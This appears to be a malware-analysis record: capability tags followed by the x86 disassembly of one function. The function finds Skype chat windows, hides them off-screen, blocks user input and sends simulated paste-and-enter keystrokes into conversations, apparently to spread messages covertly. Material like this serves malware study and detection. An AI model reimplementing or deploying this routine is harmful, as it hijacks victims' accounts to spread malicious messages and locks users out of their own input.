Function at 0x404860
Capabilities:
Check for time delay via gettickcount
Get graphical window text
Hide graphical window
Log keystrokes via polling

Disassembly:
sub esp, 0x240
mov eax, dword [0x4151a8]
push ebp
mov ebp, dword [0x41738c]
push esi
push edi
mov dword [esp + 0x248], eax
lea eax, [esp + 0x148]
push 0x416600
inc ebp
push eax
mov dword [0x41738c], ebp
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
add esp, 8
push 0
push str.tskMainForm
mov byte [0x417390], 0
call edi
mov esi, eax
test esi, esi
mov dword [esp + 0x10], esi
je 0x404c93
push ebx
push 0x412060
call fcn.00401c10
push eax
push 2
call fcn.00401ff0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push str.TConversationForm
mov ebx, eax
call edi
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
je 0x40491e
cmp eax, esi
je 0x4048fe
push 0
push 0
push 0x10
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, 0xbb8
cmp ebx, eax
jb 0x40491e
push 1
call ebp
push 0
push str.TConversationForm
call edi
test eax, eax
jne 0x4048ed
mov ebx, dword [sym.imp.USER32.dll_SetForegroundWindow]
push esi
call ebx
push 0x32
call ebp
mov edi, dword [sym.imp.USER32.dll_SetFocus]
push esi
call edi
push 0x32
call ebp
lea ecx, [esp + 0x1c]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x1c]
sub edx, eax
push 1
sub edx, 0x7d0
push edx
mov edx, dword [esp + 0x2c]
sub edx, ecx
sub edx, 0x7d0
push edx
add eax, 0xfffff830
push eax
add ecx, 0xfffff830
push ecx
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
push 0
push str.TConversationsControl
push 0
push esi
call dword [sym.imp.USER32.dll_FindWindowExA]
mov esi, eax
test esi, esi
je 0x404c75
push 1
call sub.USER32.dll_BlockInput
push 0
push str.TAccessibleEdit
push 0
push esi
call dword [sym.imp.USER32.dll_FindWindowExA]
push esi
call ebx
push esi
call edi
mov ebx, dword [sym.imp.USER32.dll_PostMessageA]
push 0x80008
push 1
push 0x201
push esi
call ebx
push 0
push 0
push 0xf
push esi
call ebx
lea eax, [esp + 0x2c]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov cl, byte [esp + 0x30]
mov al, byte [esp + 0x2c]
xor edx, edx
add cl, 5
mov dh, cl
add al, 0xa
mov dl, al
push edx
push 0
push 0x84
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x2020001
push esi
push 0x20
push esi
call ebx
push 0x80008
push 0
push 0x202
push esi
call ebx
push 0x64
call ebp
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 1
push 0
push 0x11
call edi
push 0
push 0
push 0
push 0x41
call dword [sym.imp.USER32.dll_VkKeyScanA]
push eax
call edi
push 0
push 3
push 0x2d
push 0x11
call edi
push 0
push 0
push 0
push 0xd
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x18], eax
lea esp, [esp]
push 0
push str.TConversationForm
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
mov dword [esp + 0x10], eax
jne 0x404aab
mov ecx, dword [esp + 0x14]
push eax
push str.TConversationForm
push eax
push ecx
call dword [sym.imp.USER32.dll_FindWindowExA]
test eax, eax
mov dword [esp + 0x10], eax
jne 0x404aa7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x18]
sub eax, 0x2710
cmp ecx, eax
jae 0x404a60
jmp 0x404bbd
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x3c]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x44]
sub ecx, eax
push 1
sub ecx, 0x7d0
push ecx
mov ecx, dword [esp + 0x44]
sub edx, ecx
sub edx, 0x7d0
push edx
add eax, 0xfffff830
push eax
mov eax, dword [esp + 0x20]
add ecx, 0xfffff830
push ecx
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
mov ecx, dword [esp + 0x10]
push 0
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x1f4
call ebp
mov edx, dword [esp + 0x10]
push 0
push str.TChatEntryControl
push 0
push edx
call dword [sym.imp.USER32.dll_FindWindowExA]
push 0
push str.TChatRichEdit
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowExA]
test eax, eax
mov dword [esp + 0x18], eax
je 0x404ba5
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push 0x64
call ebp
lea eax, [esp + 0x14c]
push eax
lea ecx, [esp + 0x50]
push 0x411c6c
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0x58]
push edx
call fcn.004015e0
mov eax, dword [esp + 0x28]
push eax
lea ecx, [esp + 0x60]
push ecx
call fcn.00401f40
add esp, 0x18
push 0
push 1
push 0
push 0x11
call edi
push 0
push 0
push 0
push 0x56
call dword [sym.imp.USER32.dll_VkKeyScanA]
push eax
call edi
push 0
push 3
push 0x2d
push 0x11
call edi
push 0x64
call ebp
push 0
push 0
push 0
push 0xd
call edi
push 0x1f4
call ebp
mov edx, dword [esp + 0x10]
push 0
push 0
push 0x10
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [esp + 0x14]
mov ebp, dword [sym.imp.USER32.dll_SetForegroundWindow]
push eax
call ebp
push esi
call ebp
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push 0x80008
push 1
push 0x201
push esi
call ebx
push 0
push 0
push 0xf
push esi
call ebx
lea ecx, [esp + 0x2c]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dl, byte [esp + 0x30]
mov cl, byte [esp + 0x2c]
xor eax, eax
add dl, 5
mov ah, dl
add cl, 0xa
mov al, cl
push eax
push 0
push 0x84
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x2020001
push esi
push 0x20
push esi
call ebx
push 0x80008
push 0
push 0x202
push esi
call ebx
push 0
push 0
push 0
push 0x28
call edi
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x1c]
push 1
sub edx, eax
push edx
mov edx, dword [esp + 0x2c]
sub edx, ecx
push edx
push eax
mov eax, dword [esp + 0x24]
push ecx
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push 0
push 0
push 0
push 0x26
call edi
push 0
call sub.USER32.dll_BlockInput
pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
mov ecx, dword [esp + 0x23c]
call fcn.004088de
add esp, 0x240
ret 4
mov ecx, dword [esp + 0x248]
pop edi
pop esi
mov eax, 1
pop ebp
call fcn.004088de
add esp, 0x240
ret 4